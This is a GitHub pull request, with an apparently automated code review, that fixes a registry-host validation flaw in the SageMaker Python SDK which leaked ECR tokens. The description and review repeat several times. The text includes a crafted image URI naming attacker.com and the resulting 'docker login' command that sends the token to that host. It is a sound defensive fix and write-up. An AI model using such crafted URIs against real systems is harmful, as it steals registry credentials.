fix(serve): Validate ECR registry host before docker login in LocalCo… by lucasjia-aws · Pull Request #6133 · aws/sagemaker-python-sdk

lucasjia-aws · 2026-07-30T20:50:15Z

…ntainerMode

_is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as
attacker.com/x.dkr.ecr..amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host.

Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

Issue #, if available:

Description of changes:

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

…ntainerMode _is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host. Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

github-actions · 2026-07-30T21:17:41Z

Claude finished @lucasjia-aws's task in 1m 55s —— View job

PR Review: Validate ECR registry host before docker login

This is a solid, well-scoped security fix. The parser-confusion vulnerability is real and the remediation is the right one: derive the classification (_is_ecr_image) and the docker login target from a single validated value (_ecr_registry_host), so the two can never disagree. Good docstrings, good comments explaining the why, and the tests directly encode the attack scenario. Nice work.

Strengths

Root-cause fix, not a band-aid. Anchoring the regex (^...$) and parsing the host as image.split("/")[0] before matching closes the substring-injection path (attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo) at both the classifier and the login target.
China partition covered (.amazonaws.com.cn), and the strict 12-digit account-ID anchor rejects near-misses.
Tests cover valid ECR, China, attacker-crafted, substring-in-path, public images, bad account length, and — importantly — assert docker login is never invoked for the crafted URI. That last test (test_no_login_for_attacker_crafted_uri) is exactly the regression guard you want.

Minor observations (non-blocking)

Partition/endpoint coverage — The strict pattern matches standard commercial + China + GovCloud (GovCloud is still *.amazonaws.com, so ✅) ECR hosts, but intentionally does not match:
- FIPS endpoints: <acct>.dkr.ecr-fips.<region>.amazonaws.com
- ISO partitions: *.c2s.ic.gov, *.sc2s.sgov.gov
This is not a regression — the old ".dkr.ecr." in image check already failed on ecr-fips, and the old .amazonaws.com check already failed on ISO hosts. Just flagging it in case FIPS support is on the roadmap; if so, a small tweak to the region/service segment would cover it. No change required for this PR.
Double regex evaluation — _pull_image calls _is_ecr_image(image) (which runs the regex) and then _ecr_registry_host(image) (runs it again). This is harmless and arguably clearer, but if you'd like to avoid the second pass you could call _ecr_registry_host once and branch on the result:
```
ecr_host=self._ecr_registry_host(image)
ifecr_host:
...
ecr_uri=ecr_host
```
Purely cosmetic — safe to leave as is.
Regex case sensitivity — The pattern is case-sensitive ([a-z0-9-]+). Real ECR hostnames are always lowercase, so this is correct; noting only for completeness.

Correctness / backward-compat

No breaking changes for real consumers: every legitimate ECR pull URI has the form <account>.dkr.ecr.<region>.amazonaws.com[.cn]/repo:tag, which the new pattern accepts. Public/other-registry images continue to skip ECR auth as before.

Verdict: LGTM. The one thing worth a maintainer decision is whether FIPS/ISO ECR endpoints need to be supported here; if not, this is ready to merge.

lucasjia-aws · 2026-07-30T20:50:15Z

…ntainerMode

_is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as
attacker.com/x.dkr.ecr..amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host.

Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

Issue #, if available:

Description of changes:

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

…ntainerMode _is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host. Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

github-actions · 2026-07-30T21:17:41Z

Claude finished @lucasjia-aws's task in 1m 55s —— View job

PR Review: Validate ECR registry host before docker login

This is a solid, well-scoped security fix. The parser-confusion vulnerability is real and the remediation is the right one: derive the classification (_is_ecr_image) and the docker login target from a single validated value (_ecr_registry_host), so the two can never disagree. Good docstrings, good comments explaining the why, and the tests directly encode the attack scenario. Nice work.

Strengths

Root-cause fix, not a band-aid. Anchoring the regex (^...$) and parsing the host as image.split("/")[0] before matching closes the substring-injection path (attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo) at both the classifier and the login target.
China partition covered (.amazonaws.com.cn), and the strict 12-digit account-ID anchor rejects near-misses.
Tests cover valid ECR, China, attacker-crafted, substring-in-path, public images, bad account length, and — importantly — assert docker login is never invoked for the crafted URI. That last test (test_no_login_for_attacker_crafted_uri) is exactly the regression guard you want.

Minor observations (non-blocking)

Partition/endpoint coverage — The strict pattern matches standard commercial + China + GovCloud (GovCloud is still *.amazonaws.com, so ✅) ECR hosts, but intentionally does not match:
- FIPS endpoints: <acct>.dkr.ecr-fips.<region>.amazonaws.com
- ISO partitions: *.c2s.ic.gov, *.sc2s.sgov.gov
This is not a regression — the old ".dkr.ecr." in image check already failed on ecr-fips, and the old .amazonaws.com check already failed on ISO hosts. Just flagging it in case FIPS support is on the roadmap; if so, a small tweak to the region/service segment would cover it. No change required for this PR.
Double regex evaluation — _pull_image calls _is_ecr_image(image) (which runs the regex) and then _ecr_registry_host(image) (runs it again). This is harmless and arguably clearer, but if you'd like to avoid the second pass you could call _ecr_registry_host once and branch on the result:
```
ecr_host=self._ecr_registry_host(image)
ifecr_host:
...
ecr_uri=ecr_host
```
Purely cosmetic — safe to leave as is.
Regex case sensitivity — The pattern is case-sensitive ([a-z0-9-]+). Real ECR hostnames are always lowercase, so this is correct; noting only for completeness.

Correctness / backward-compat

No breaking changes for real consumers: every legitimate ECR pull URI has the form <account>.dkr.ecr.<region>.amazonaws.com[.cn]/repo:tag, which the new pattern accepts. Public/other-registry images continue to skip ECR auth as before.

Verdict: LGTM. The one thing worth a maintainer decision is whether FIPS/ISO ECR endpoints need to be supported here; if not, this is ready to merge.

lucasjia-aws · 2026-07-30T20:50:15Z

…ntainerMode

_is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as
attacker.com/x.dkr.ecr..amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host.

Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

Issue #, if available:

Description of changes:

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

…ntainerMode _is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host. Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

github-actions · 2026-07-30T21:17:41Z

Claude finished @lucasjia-aws's task in 1m 55s —— View job

PR Review: Validate ECR registry host before docker login

This is a solid, well-scoped security fix. The parser-confusion vulnerability is real and the remediation is the right one: derive the classification (_is_ecr_image) and the docker login target from a single validated value (_ecr_registry_host), so the two can never disagree. Good docstrings, good comments explaining the why, and the tests directly encode the attack scenario. Nice work.

Strengths

Root-cause fix, not a band-aid. Anchoring the regex (^...$) and parsing the host as image.split("/")[0] before matching closes the substring-injection path (attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo) at both the classifier and the login target.
China partition covered (.amazonaws.com.cn), and the strict 12-digit account-ID anchor rejects near-misses.
Tests cover valid ECR, China, attacker-crafted, substring-in-path, public images, bad account length, and — importantly — assert docker login is never invoked for the crafted URI. That last test (test_no_login_for_attacker_crafted_uri) is exactly the regression guard you want.

Minor observations (non-blocking)

Partition/endpoint coverage — The strict pattern matches standard commercial + China + GovCloud (GovCloud is still *.amazonaws.com, so ✅) ECR hosts, but intentionally does not match:
- FIPS endpoints: <acct>.dkr.ecr-fips.<region>.amazonaws.com
- ISO partitions: *.c2s.ic.gov, *.sc2s.sgov.gov
This is not a regression — the old ".dkr.ecr." in image check already failed on ecr-fips, and the old .amazonaws.com check already failed on ISO hosts. Just flagging it in case FIPS support is on the roadmap; if so, a small tweak to the region/service segment would cover it. No change required for this PR.
Double regex evaluation — _pull_image calls _is_ecr_image(image) (which runs the regex) and then _ecr_registry_host(image) (runs it again). This is harmless and arguably clearer, but if you'd like to avoid the second pass you could call _ecr_registry_host once and branch on the result:
```
ecr_host=self._ecr_registry_host(image)
ifecr_host:
...
ecr_uri=ecr_host
```
Purely cosmetic — safe to leave as is.
Regex case sensitivity — The pattern is case-sensitive ([a-z0-9-]+). Real ECR hostnames are always lowercase, so this is correct; noting only for completeness.

Correctness / backward-compat

No breaking changes for real consumers: every legitimate ECR pull URI has the form <account>.dkr.ecr.<region>.amazonaws.com[.cn]/repo:tag, which the new pattern accepts. Public/other-registry images continue to skip ECR auth as before.

Verdict: LGTM. The one thing worth a maintainer decision is whether FIPS/ISO ECR endpoints need to be supported here; if not, this is ready to merge.

lucasjia-aws · 2026-07-30T20:50:15Z

…ntainerMode

_is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as
attacker.com/x.dkr.ecr..amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host.

Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

Issue #, if available:

Description of changes:

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

…ntainerMode _is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host. Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

github-actions · 2026-07-30T21:17:41Z

Claude finished @lucasjia-aws's task in 1m 55s —— View job

PR Review: Validate ECR registry host before docker login

This is a solid, well-scoped security fix. The parser-confusion vulnerability is real and the remediation is the right one: derive the classification (_is_ecr_image) and the docker login target from a single validated value (_ecr_registry_host), so the two can never disagree. Good docstrings, good comments explaining the why, and the tests directly encode the attack scenario. Nice work.

Strengths

Root-cause fix, not a band-aid. Anchoring the regex (^...$) and parsing the host as image.split("/")[0] before matching closes the substring-injection path (attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo) at both the classifier and the login target.
China partition covered (.amazonaws.com.cn), and the strict 12-digit account-ID anchor rejects near-misses.
Tests cover valid ECR, China, attacker-crafted, substring-in-path, public images, bad account length, and — importantly — assert docker login is never invoked for the crafted URI. That last test (test_no_login_for_attacker_crafted_uri) is exactly the regression guard you want.

Minor observations (non-blocking)

Partition/endpoint coverage — The strict pattern matches standard commercial + China + GovCloud (GovCloud is still *.amazonaws.com, so ✅) ECR hosts, but intentionally does not match:
- FIPS endpoints: <acct>.dkr.ecr-fips.<region>.amazonaws.com
- ISO partitions: *.c2s.ic.gov, *.sc2s.sgov.gov
This is not a regression — the old ".dkr.ecr." in image check already failed on ecr-fips, and the old .amazonaws.com check already failed on ISO hosts. Just flagging it in case FIPS support is on the roadmap; if so, a small tweak to the region/service segment would cover it. No change required for this PR.
Double regex evaluation — _pull_image calls _is_ecr_image(image) (which runs the regex) and then _ecr_registry_host(image) (runs it again). This is harmless and arguably clearer, but if you'd like to avoid the second pass you could call _ecr_registry_host once and branch on the result:
```
ecr_host=self._ecr_registry_host(image)
ifecr_host:
...
ecr_uri=ecr_host
```
Purely cosmetic — safe to leave as is.
Regex case sensitivity — The pattern is case-sensitive ([a-z0-9-]+). Real ECR hostnames are always lowercase, so this is correct; noting only for completeness.

Correctness / backward-compat

No breaking changes for real consumers: every legitimate ECR pull URI has the form <account>.dkr.ecr.<region>.amazonaws.com[.cn]/repo:tag, which the new pattern accepts. Public/other-registry images continue to skip ECR auth as before.

Verdict: LGTM. The one thing worth a maintainer decision is whether FIPS/ISO ECR endpoints need to be supported here; if not, this is ready to merge.

lucasjia-aws · 2026-07-30T20:50:15Z

…ntainerMode

_is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as
attacker.com/x.dkr.ecr..amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host.

Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

Issue #, if available:

Description of changes:

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

…ntainerMode _is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host. Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

github-actions · 2026-07-30T21:17:41Z

Claude finished @lucasjia-aws's task in 1m 55s —— View job

PR Review: Validate ECR registry host before docker login

This is a solid, well-scoped security fix. The parser-confusion vulnerability is real and the remediation is the right one: derive the classification (_is_ecr_image) and the docker login target from a single validated value (_ecr_registry_host), so the two can never disagree. Good docstrings, good comments explaining the why, and the tests directly encode the attack scenario. Nice work.

Strengths

Root-cause fix, not a band-aid. Anchoring the regex (^...$) and parsing the host as image.split("/")[0] before matching closes the substring-injection path (attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo) at both the classifier and the login target.
China partition covered (.amazonaws.com.cn), and the strict 12-digit account-ID anchor rejects near-misses.
Tests cover valid ECR, China, attacker-crafted, substring-in-path, public images, bad account length, and — importantly — assert docker login is never invoked for the crafted URI. That last test (test_no_login_for_attacker_crafted_uri) is exactly the regression guard you want.

Minor observations (non-blocking)

Partition/endpoint coverage — The strict pattern matches standard commercial + China + GovCloud (GovCloud is still *.amazonaws.com, so ✅) ECR hosts, but intentionally does not match:
- FIPS endpoints: <acct>.dkr.ecr-fips.<region>.amazonaws.com
- ISO partitions: *.c2s.ic.gov, *.sc2s.sgov.gov
This is not a regression — the old ".dkr.ecr." in image check already failed on ecr-fips, and the old .amazonaws.com check already failed on ISO hosts. Just flagging it in case FIPS support is on the roadmap; if so, a small tweak to the region/service segment would cover it. No change required for this PR.
Double regex evaluation — _pull_image calls _is_ecr_image(image) (which runs the regex) and then _ecr_registry_host(image) (runs it again). This is harmless and arguably clearer, but if you'd like to avoid the second pass you could call _ecr_registry_host once and branch on the result:
```
ecr_host=self._ecr_registry_host(image)
ifecr_host:
...
ecr_uri=ecr_host
```
Purely cosmetic — safe to leave as is.
Regex case sensitivity — The pattern is case-sensitive ([a-z0-9-]+). Real ECR hostnames are always lowercase, so this is correct; noting only for completeness.

Correctness / backward-compat

No breaking changes for real consumers: every legitimate ECR pull URI has the form <account>.dkr.ecr.<region>.amazonaws.com[.cn]/repo:tag, which the new pattern accepts. Public/other-registry images continue to skip ECR auth as before.

Verdict: LGTM. The one thing worth a maintainer decision is whether FIPS/ISO ECR endpoints need to be supported here; if not, this is ready to merge.

lucasjia-aws · 2026-07-30T20:50:15Z

…ntainerMode

_is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as
attacker.com/x.dkr.ecr..amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host.

Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

Issue #, if available:

Description of changes:

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

…ntainerMode _is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host. Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

github-actions · 2026-07-30T21:17:41Z

Claude finished @lucasjia-aws's task in 1m 55s —— View job

PR Review: Validate ECR registry host before docker login

This is a solid, well-scoped security fix. The parser-confusion vulnerability is real and the remediation is the right one: derive the classification (_is_ecr_image) and the docker login target from a single validated value (_ecr_registry_host), so the two can never disagree. Good docstrings, good comments explaining the why, and the tests directly encode the attack scenario. Nice work.

Strengths

Root-cause fix, not a band-aid. Anchoring the regex (^...$) and parsing the host as image.split("/")[0] before matching closes the substring-injection path (attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo) at both the classifier and the login target.
China partition covered (.amazonaws.com.cn), and the strict 12-digit account-ID anchor rejects near-misses.
Tests cover valid ECR, China, attacker-crafted, substring-in-path, public images, bad account length, and — importantly — assert docker login is never invoked for the crafted URI. That last test (test_no_login_for_attacker_crafted_uri) is exactly the regression guard you want.

Minor observations (non-blocking)

Partition/endpoint coverage — The strict pattern matches standard commercial + China + GovCloud (GovCloud is still *.amazonaws.com, so ✅) ECR hosts, but intentionally does not match:
- FIPS endpoints: <acct>.dkr.ecr-fips.<region>.amazonaws.com
- ISO partitions: *.c2s.ic.gov, *.sc2s.sgov.gov
This is not a regression — the old ".dkr.ecr." in image check already failed on ecr-fips, and the old .amazonaws.com check already failed on ISO hosts. Just flagging it in case FIPS support is on the roadmap; if so, a small tweak to the region/service segment would cover it. No change required for this PR.
Double regex evaluation — _pull_image calls _is_ecr_image(image) (which runs the regex) and then _ecr_registry_host(image) (runs it again). This is harmless and arguably clearer, but if you'd like to avoid the second pass you could call _ecr_registry_host once and branch on the result:
```
ecr_host=self._ecr_registry_host(image)
ifecr_host:
...
ecr_uri=ecr_host
```
Purely cosmetic — safe to leave as is.
Regex case sensitivity — The pattern is case-sensitive ([a-z0-9-]+). Real ECR hostnames are always lowercase, so this is correct; noting only for completeness.

Correctness / backward-compat

No breaking changes for real consumers: every legitimate ECR pull URI has the form <account>.dkr.ecr.<region>.amazonaws.com[.cn]/repo:tag, which the new pattern accepts. Public/other-registry images continue to skip ECR auth as before.

Verdict: LGTM. The one thing worth a maintainer decision is whether FIPS/ISO ECR endpoints need to be supported here; if not, this is ready to merge.

lucasjia-aws · 2026-07-30T20:50:15Z

…ntainerMode

_is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as
attacker.com/x.dkr.ecr..amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host.

Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

Issue #, if available:

Description of changes:

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

…ntainerMode _is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host. Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

github-actions · 2026-07-30T21:17:41Z

Claude finished @lucasjia-aws's task in 1m 55s —— View job

PR Review: Validate ECR registry host before docker login

This is a solid, well-scoped security fix. The parser-confusion vulnerability is real and the remediation is the right one: derive the classification (_is_ecr_image) and the docker login target from a single validated value (_ecr_registry_host), so the two can never disagree. Good docstrings, good comments explaining the why, and the tests directly encode the attack scenario. Nice work.

Strengths

Root-cause fix, not a band-aid. Anchoring the regex (^...$) and parsing the host as image.split("/")[0] before matching closes the substring-injection path (attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo) at both the classifier and the login target.
China partition covered (.amazonaws.com.cn), and the strict 12-digit account-ID anchor rejects near-misses.
Tests cover valid ECR, China, attacker-crafted, substring-in-path, public images, bad account length, and — importantly — assert docker login is never invoked for the crafted URI. That last test (test_no_login_for_attacker_crafted_uri) is exactly the regression guard you want.

Minor observations (non-blocking)

Partition/endpoint coverage — The strict pattern matches standard commercial + China + GovCloud (GovCloud is still *.amazonaws.com, so ✅) ECR hosts, but intentionally does not match:
- FIPS endpoints: <acct>.dkr.ecr-fips.<region>.amazonaws.com
- ISO partitions: *.c2s.ic.gov, *.sc2s.sgov.gov
This is not a regression — the old ".dkr.ecr." in image check already failed on ecr-fips, and the old .amazonaws.com check already failed on ISO hosts. Just flagging it in case FIPS support is on the roadmap; if so, a small tweak to the region/service segment would cover it. No change required for this PR.
Double regex evaluation — _pull_image calls _is_ecr_image(image) (which runs the regex) and then _ecr_registry_host(image) (runs it again). This is harmless and arguably clearer, but if you'd like to avoid the second pass you could call _ecr_registry_host once and branch on the result:
```
ecr_host=self._ecr_registry_host(image)
ifecr_host:
...
ecr_uri=ecr_host
```
Purely cosmetic — safe to leave as is.
Regex case sensitivity — The pattern is case-sensitive ([a-z0-9-]+). Real ECR hostnames are always lowercase, so this is correct; noting only for completeness.

Correctness / backward-compat

No breaking changes for real consumers: every legitimate ECR pull URI has the form <account>.dkr.ecr.<region>.amazonaws.com[.cn]/repo:tag, which the new pattern accepts. Public/other-registry images continue to skip ECR auth as before.

Verdict: LGTM. The one thing worth a maintainer decision is whether FIPS/ISO ECR endpoints need to be supported here; if not, this is ready to merge.

lucasjia-aws · 2026-07-30T20:50:15Z

…ntainerMode

_is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as
attacker.com/x.dkr.ecr..amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host.

Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

Issue #, if available:

Description of changes:

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

…ntainerMode _is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host. Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.

github-actions · 2026-07-30T21:17:41Z

Claude finished @lucasjia-aws's task in 1m 55s —— View job

PR Review: Validate ECR registry host before docker login

This is a solid, well-scoped security fix. The parser-confusion vulnerability is real and the remediation is the right one: derive the classification (_is_ecr_image) and the docker login target from a single validated value (_ecr_registry_host), so the two can never disagree. Good docstrings, good comments explaining the why, and the tests directly encode the attack scenario. Nice work.

Strengths

Root-cause fix, not a band-aid. Anchoring the regex (^...$) and parsing the host as image.split("/")[0] before matching closes the substring-injection path (attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo) at both the classifier and the login target.
China partition covered (.amazonaws.com.cn), and the strict 12-digit account-ID anchor rejects near-misses.
Tests cover valid ECR, China, attacker-crafted, substring-in-path, public images, bad account length, and — importantly — assert docker login is never invoked for the crafted URI. That last test (test_no_login_for_attacker_crafted_uri) is exactly the regression guard you want.

Minor observations (non-blocking)

Partition/endpoint coverage — The strict pattern matches standard commercial + China + GovCloud (GovCloud is still *.amazonaws.com, so ✅) ECR hosts, but intentionally does not match:
- FIPS endpoints: <acct>.dkr.ecr-fips.<region>.amazonaws.com
- ISO partitions: *.c2s.ic.gov, *.sc2s.sgov.gov
This is not a regression — the old ".dkr.ecr." in image check already failed on ecr-fips, and the old .amazonaws.com check already failed on ISO hosts. Just flagging it in case FIPS support is on the roadmap; if so, a small tweak to the region/service segment would cover it. No change required for this PR.
Double regex evaluation — _pull_image calls _is_ecr_image(image) (which runs the regex) and then _ecr_registry_host(image) (runs it again). This is harmless and arguably clearer, but if you'd like to avoid the second pass you could call _ecr_registry_host once and branch on the result:
```
ecr_host=self._ecr_registry_host(image)
ifecr_host:
...
ecr_uri=ecr_host
```
Purely cosmetic — safe to leave as is.
Regex case sensitivity — The pattern is case-sensitive ([a-z0-9-]+). Real ECR hostnames are always lowercase, so this is correct; noting only for completeness.

Correctness / backward-compat

No breaking changes for real consumers: every legitimate ECR pull URI has the form <account>.dkr.ecr.<region>.amazonaws.com[.cn]/repo:tag, which the new pattern accepts. Public/other-registry images continue to skip ECR auth as before.

Verdict: LGTM. The one thing worth a maintainer decision is whether FIPS/ISO ECR endpoints need to be supported here; if not, this is ready to merge.

lucasjia-aws temporarily deployed to auto-approve July 30, 2026 21:01 — with GitHub Actions Inactive

mohamedzeidan2021 approved these changes Aug 4, 2026
View reviewed changes